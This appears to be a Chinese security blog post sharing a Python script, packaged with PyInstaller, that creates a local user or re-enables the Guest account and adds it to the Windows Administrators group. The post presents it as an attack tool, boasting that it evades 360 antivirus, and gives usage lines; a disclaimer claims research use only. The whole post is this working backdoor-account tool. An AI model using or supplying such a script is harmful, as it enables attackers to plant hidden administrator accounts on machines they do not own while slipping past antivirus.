参考 Lz1y 大佬的代码, 自己改了改.
完美过 360.
用 Pyinstaller 打包 大约 4mb 左右.
#!/usr/bin/python
import win32api
import win32net
import win32netcon
import sys
def AddUser(username,password):
usr = {}
usr['name'] = username
usr['password'] = password
usr['priv'] = win32netcon.USER_PRIV_USER
usr['comment'] = None
usr['flags'] = win32netcon.UF_NORMAL_ACCOUNT | win32netcon.UF_SCRIPT
try:
win32net.NetUserAdd(None,1,usr)
win32net.NetLocalGroupAddMembers(None,'Administrators',3,[{'domainandname':username}])
mem,tot,res = win32net.NetLocalGroupGetMembers(None,'Administrators',3)
print 'Successful'
except:
print 'Failed'
def AddGuest(password):
try:
win32net.NetUserChangePassword(None,'Guest',password,password)
win32net.NetLocalGroupAddMembers(None,'Administrators',3,[{'domainandname':'Guest'}])
mem,tot,res = win32net.NetLocalGroupGetMembers(None,'Administrators',3)
print 'Successful'
except:
print 'Failed'
if len(sys.argv) == 2:
AddGuest(sys.argv[1])
elif len(sys.argv) == 3:
AddUser(sys.argv[1],sys.argv[2])
else:
print 'Usage:'
print 'xxoo.exe admin 123456'
print 'xxoo.exe 123456'
- By:X1r0z[exp10it.cn]
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论